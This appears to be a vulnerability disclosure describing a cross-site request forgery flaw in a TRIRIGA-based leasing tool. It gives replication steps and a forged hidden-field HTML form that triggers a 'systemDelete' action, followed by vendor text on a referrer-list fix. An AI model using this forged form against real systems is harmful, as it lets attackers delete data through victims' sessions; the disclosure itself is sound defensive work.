A CSRF attack forces an authenticated victim’s browser to send an unauthenticated request to a vulnerable web application, which then performs an unauthorized action on behalf of the attacker. This issue has been identified in various places throughout the application. Here’s one example of many that shows this issue:
- URL: xxx/html/en/default/reportTemplate/viewPageReport.jsp
Steps to replicate:
- 1. Login to the application.
- 2. Navigate to Configure > People > Employees.
- 3. Select any existing employee.
- 4. Click on the Delete button.
Using an external tool, one can then forge the form with the following HTTP post:
<form action=”https:// demokpmgleasingtool.us.kpmg.com/ html/en/default/reportTemplate/viewPageReport.jsp” method=”POST”>
<input type=”hidden” name=”reportTemplId” value=”2956″ />
<input type=”hidden” name=”qryaction” value=”systemDelete” />
<input type=”hidden” name=”tempSpecId” value=”111111111111111111″ />
<input type=”hidden” name=”sNo” value=”15699764″ />
<input type=”submit” value=”Submit request” />
We resolved an issue where a user could be tricked into clicking a link on an external site, and where an attacker would attempt to trick the user into a Cross Site Request Forgery attack. To resolve this, a new property KNOWN_REFERRER_LIST can be added to TRIRIGAWEB.properties. If this property is left blank or not included, the platform will behave as before, and not check referrers. If the property exists, the values would comprise of a comma-separated list intended to restrict the allowable referrers of links that interact with TRIRIGA when no security token exists on the request.